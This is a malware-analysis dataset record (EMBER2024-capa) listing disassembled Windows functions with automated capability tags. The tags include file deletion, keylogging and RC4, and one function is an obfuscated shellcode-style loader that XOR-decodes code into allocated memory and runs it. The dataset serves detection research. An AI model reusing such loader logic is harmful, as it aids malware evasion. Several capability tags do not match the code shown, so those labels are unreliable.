joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4052cf
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.00405552
test byte [ebp + 0xc], 8
mov dword [ebp - 4], eax
je 0x405303
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x4243a8], eax
jmp 0x40546c
push ebx
mov ebx, dword [ebp + 0xc]
and ebx, 1
mov dword [ebp + 8], ebx
je 0x405321
test eax, eax
je 0x40541d
test byte [ebp + 0xc], 2
je 0x40541d
mov esi, 0x421938
push edi
push esi
call sub.KERNEL32.dll_lstrcpyA
test ebx, ebx
je 0x40533e
push str..
push esi
call sub.KERNEL32.dll_lstrcatA
jmp 0x405344
push edi
call fcn.004054b9
push 0x40900c
push edi
call sub.KERNEL32.dll_lstrcatA
push edi
call sub.KERNEL32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x144]
push eax
push esi
add ebx, edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x405413
cmp byte [ebp - 0x118], 0x2e
jne 0x40538d
cmp byte [ebp - 0x117], 0x2e
je 0x4053f6
cmp byte [ebp - 0x117], 0
je 0x4053f6
lea eax, [ebp - 0x118]
push eax
push ebx
call sub.KERNEL32.dll_lstrcpyA
mov eax, dword [ebp - 0x144]
test al, 0x10
je 0x4053b9
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x4053f6
push dword [ebp + 0xc]
push edi
call fcn.004052cf
jmp 0x4053f6
and al, 0xfe
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4053ee
test byte [ebp + 0xc], 4
je 0x4053e6
push edi
push 0xfffffffffffffff1
call fcn.00404d26
push 0
push edi
call fcn.004056ae
jmp 0x4053f6
inc dword [0x4243a8]
jmp 0x4053f6
push edi
push 0xfffffffffffffff2
call fcn.00404d26
lea eax, [ebp - 0x144]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405372
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x40541d
and byte [ebx - 1], 0
xor esi, esi
pop ebx
cmp dword [ebp + 8], esi
je 0x40546c
cmp dword [ebp - 4], esi
jne 0x405432
inc dword [0x4243a8]
jmp 0x40546c
push edi
call fcn.00405c55
test eax, eax
je 0x40546c
push edi
call fcn.00405472
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x405464
test byte [ebp + 0xc], 4
je 0x40542a
push edi
push 0xfffffffffffffff1
call fcn.00404d26
push esi
push edi
call fcn.004056ae
jmp 0x40546c
push edi
push 0xffffffffffffffe5
call fcn.00404d26
pop edi
pop esi
leave
ret 8
Function at 0x405552
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x421d38
push esi
call sub.KERNEL32.dll_lstrcpyA
push esi
call fcn.00405bb5
push esi
call fcn.00405505
test eax, eax
jne 0x405577
xor eax, eax
jmp 0x4055c6
test byte [0x424330], 0x80
je 0x40558b
mov cl, byte [eax]
test cl, cl
je 0x405573
cmp cl, 0x5c
je 0x405573
mov edi, eax
sub edi, esi
jmp 0x4055a5
call fcn.00405c55
test eax, eax
je 0x40559f
test byte [eax], 0x10
je 0x405573
push esi
call fcn.004054b9
push esi
call sub.KERNEL32.dll_lstrlenA
cmp eax, edi
push esi
jg 0x405591
call fcn.00405472
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405637
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x405666
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x4056aa
test edi, edi
jne 0x405671
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x4056a4
Function at 0x4056ae
Capabilities:
Get common file path
Get file size

Disassembly:
push ebx
push ebp
push esi
push edi
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
mov esi, dword [esp + 0x18]
je 0x4056e6
push str.MoveFileExA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4056e6
push 5
push esi
push dword [esp + 0x1c]
call eax
test eax, eax
jne 0x40582a
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov dword [0x422ac0], 0x4c554e
test esi, esi
mov edi, 0x400
mov ebp, 0x422ac0
je 0x40572a
push 1
push 0
push esi
call fcn.00405637
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x405830
cmp eax, edi
jg 0x405830
mov esi, 0x4226c0
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x405830
cmp eax, edi
jg 0x405830
push esi
push ebp
push str._s_s_r_n
push 0x4222c0
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov ebp, eax
push 0x3f0
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.wininit.ini
push esi
call sub.KERNEL32.dll_lstrcatA
xor edi, edi
push edi
push 0x8000080
push 4
push edi
push edi
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40582a
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push edi
lea eax, [esi + ebp + 0xa]
push eax
push edi
push 4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, edi
mov dword [esp + 0x14], eax
je 0x405812
push edi
push edi
push edi
push 2
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
test edi, edi
je 0x405806
push str._Rename__r_n
push edi
call fcn.004055cb
test eax, eax
jne 0x405837
lea eax, [edi + esi]
push str._Rename__r_n
push eax
call sub.KERNEL32.dll_lstrcpyA
add esi, 0xa
mov eax, esi
push ebp
add eax, edi
push 0x4222c0
push eax
call fcn.00405617
push edi
add esi, ebp
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
push edi
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [0x4243b0]
pop edi
pop esi
pop ebp
pop ebx
ret 8
add eax, 0xa
push 0x409300
push eax
call fcn.004055cb
test eax, eax
je 0x4057ed
inc eax
lea edx, [edi + esi]
cmp eax, edx
mov ecx, eax
jae 0x405860
mov dl, byte [ecx]
mov byte [ecx + ebp], dl
inc ecx
lea edx, [edi + esi]
cmp ecx, edx
jb 0x405853
sub eax, edi
jmp 0x4057ef
Function at 0x405864
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x14]
xor ebx, ebx
push eax
push 0x20019
push ebx
push dword [ebp + 0xc]
mov byte [esi], bl
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4058c8
lea eax, [ebp + 8]
mov dword [ebp + 8], 0x400
push eax
lea eax, [ebp + 0x14]
push esi
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4058b7
cmp dword [ebp + 0x14], 1
je 0x4058b9
cmp dword [ebp + 0x14], 2
je 0x4058b9
mov byte [esi], bl
push dword [ebp + 0xc]
mov byte [esi + 0x3ff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x405c93
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422ec4], 0
push esi
jne 0x405cca
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405ca4
mov dword [ecx*4 + 0x422ec0], eax
inc ecx
cmp ecx, 0x100
jl 0x405c9f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405cfb
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422ec0]
xor eax, esi
inc ecx
dec edx
jne 0x405cdd
pop edi
not eax
pop esi
ret 0xc
Function at 0x407600
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x40760f
pop dword [ebp - 0x2c]
mov eax, 0x40760f
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x19899e9e
sub dword [ebp - 0x3c], 0xcb375953
mov dword [ebp - 0x38], 0x3ce3503a
add dword [ebp - 0x38], 0xf54ffc0b
mov dword [ebp - 0x34], 0xe2e0831a
sub dword [ebp - 0x34], 0x96943eec
mov dword [ebp - 0x30], 0x6df2c5ae
sub dword [ebp - 0x30], 0x6df2c5ae
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xba6b3df8
sub eax, 0xba2aaddc
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0xc7e045b0
add dword [ebp - 0x3c], 0xac9223a6
mov dword [ebp - 0x38], 0x1b5dd0b0
sub dword [ebp - 0x38], 0xd9f16f3b
mov dword [ebp - 0x34], 0x371cfeb6
sub dword [ebp - 0x34], 0xd3ad924a
mov dword [ebp - 0x30], 0x9dfc51dc
add dword [ebp - 0x30], 0x6203ae24
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x64329989
sub eax, 0x63f20971
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3c18a
push 0
call eax
mov ecx, 0x9ea99406
sub ecx, 0x9ea9470a
xor edi, edi
add edi, eax
mov ebx, 0xe22fecb6
sub ebx, 0xe1ef14b6
add ebx, dword [ebp - 0x2c]
mov edx, 0x39ab8d11
sub edx, 0x5747bc4e
xor dword [ebp - 0x14], edx
mov esi, dword [ebx]
xor dword [ebp - 0x28], eax
xor esi, edx
mov dword [ebp - 4], 0xd9c5c892
mov dword [edi], esi
mov dword [ebp - 0xc], 0x26217328
add edi, 0xdebf828a
add edi, 0x21407d7a
add ebx, 4
loop 0x40772e
add eax, 0x126c3
xor ebx, ebx
add ebx, eax
add eax, 0x8fd58da2
sub eax, 0x8fd58d9d
mov ecx, 0x41639adb
sub ecx, 0x41239adb
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x4234d0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x48ab8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0047eed0
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x423552
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0047cc50
mov eax, dword [eax]
push 0x4a7200
push eax
call fcn.0046ee44
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0047f15b
test bl, bl
je 0x423552
push 0x4a7200
lea ecx, [esp + 0xc]
call fcn.0047f4eb
push 0x4aad7c
lea ecx, [esp + 0xc]
call fcn.0047f4eb
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x42358e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0047f15b
jmp 0x423659
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x423612
lea edx, [esp + 0x7c]
push 0x4aad78
push edx
call fcn.0046ee44
add esp, 8
test eax, eax
je 0x423612
lea eax, [esp + 0x7c]
push 0x4aad74
push eax
call fcn.0046ee44
add esp, 8
test eax, eax
je 0x423612
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4235a2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0047f15b
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x423e50
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x423eb2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x423ec0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x48ac0b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4b31f8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x423ff8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x423f26
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0047f15b
xor eax, eax
jmp 0x42406f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0047f298
push esi
lea ecx, [esp + 0xc]
call fcn.0047f527
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x42404d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push bind
call fcn.00423e50
test eax, eax
jne 0x42404d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push bind
mov ecx, edi
call fcn.00423e50
test eax, eax
jne 0x42404d
lea eax, [esp + 0x14]
push 0x4aad90
push eax
call fcn.0046ff50
mov esi, eax
add esp, 8
test esi, esi
jne 0x42402c
lea ecx, [esp + 0x14]
push 0x4aad8c
push ecx
call fcn.0046fed0
mov esi, eax
add esp, 8
test esi, esi
jne 0x42402c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x42402f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0047f248
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x423f3e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0047f15b
xor eax, eax
jmp 0x42406f
mov byte [esi], 0
push 0x4aad88
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0047f15b
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4374d0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x43753e
cmp si, 0x69
ja 0x43753e
add esi, 0xffd0
cmp si, 0x11
je 0x43750e
push 0x11
call edi
test ax, ax
jge 0x43750e
or esi, 0x2000
cmp si, 0x10
je 0x437523
push 0x10
call edi
test ax, ax
jge 0x437523
or esi, 0x4000
cmp si, 0x12
je 0x437538
push 0x12
call edi
test ax, ax
jge 0x437538
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x43754b
mov esi, 0xbd
jmp 0x4374ff
cmp si, 0x6e
jne 0x437558
mov esi, 0xbe
jmp 0x4374ff
cmp si, 0x6f
jne 0x4374f9
mov esi, 0xbf
jmp 0x4374ff

Function at 0x438bf0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4c3998]
xor edx, edx
cmp eax, edx
jne 0x438c16
xor eax, eax
mov byte [eax + 0x4c3898], al
inc eax
cmp eax, 0x100
jl 0x438bfe
mov dword [0x4c3998], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4c3898
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x438ca7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x438c7a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x438c48
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x438d20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x438d73
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x438d5a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43f7b0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x43f948
cmp ebp, ebx
jle 0x43f948
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x43f80e
dec eax
or eax, 0xfffffff8
inc eax
je 0x43f815
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x43f824
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x43f82b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0047ee9c
add esp, 4
cmp eax, ebx
je 0x43f84c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0047ee9c
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x43f93e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x43f925
mov al, byte [edx]
cmp al, 0xc0
jbe 0x43f911
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x43f906
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x43f914
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x43f914
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x43f8b0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x43f8a1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret

Function at 0x4418c0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
call fcn.00480736
lea eax, [esp + 4]
mov dword [esi], method.CWnd.virtual_0
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
mov dword [esi + 0x44], 0x4d12
inc eax
mov dword [esi + 0x40], 0xffffffff
mov dword [esi + 0x3c], eax
mov eax, esi
pop esi
add esp, 0x190
ret
Function at 0x442dd0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x48c478
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x442e09
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.00486879
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.004868c5
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00442e90
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00486902
mov ecx, dword [esp + 0x30]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
Function at 0x447460
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x48cc08
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov eax, dword [esp + 0x74]
mov edx, dword [esp + 0x6c]
push esi
mov esi, ecx
mov ecx, dword [esp + 0x74]
push edi
push eax
mov eax, dword [esp + 0x74]
push ecx
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, esi
call fcn.00447fe0
lea edx, [esp + 0x18]
push eax
push edx
call dword [sym.imp.USER32.dll_CopyRect]
mov eax, dword [esp + 0x18]
xor edi, edi
xor ecx, ecx
cmp eax, edi
setl cl
dec ecx
xor edx, edx
and ecx, eax
mov eax, dword [esp + 0x1c]
cmp eax, edi
mov dword [esp + 0x18], ecx
setl dl
dec edx
and edx, eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x20], edx
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x447509
mov eax, dword [esp + 0x6c]
push ebx
mov ebx, eax
xor ecx, ecx
xor edx, edx
xor esi, esi
mov dword [ebx], ecx
mov dword [ebx + 4], edx
mov dword [ebx + 8], esi
mov dword [ebx + 0xc], edi
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.004470f0
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [edx + 4]
push ecx
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push edi
lea ecx, [esp + 0x4c]
call fcn.00485b2a
mov ecx, dword [esi + 0x5c]
mov edx, dword [esi + 0x58]
push ecx
lea eax, [esp + 0x4c]
push edx
push eax
mov dword [esp + 0x70], edi
call fcn.00455dd0
mov edx, dword [esp + 0x5c]
add esp, 0xc
lea ecx, [esp + 0x18]
push 2
push ecx
push edx
call dword [sym.imp.GDI32.dll_LPtoDP]
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x38]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
lea edx, [esp + 0x38]
lea eax, [esp + 0x18]
push edx
lea ecx, [esp + 0x2c]
push eax
push ecx
call dword [sym.imp.USER32.dll_IntersectRect]
mov esi, dword [esp + 0x6c]
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
mov edx, esi
mov dword [esp + 0x64], 0xffffffff
mov dword [edx], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 4], ecx
mov ecx, dword [esp + 0x34]
mov dword [edx + 8], eax
mov dword [edx + 0xc], ecx
lea ecx, [esp + 0x48]
call fcn.00485b9c
mov ecx, dword [esp + 0x5c]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 0x14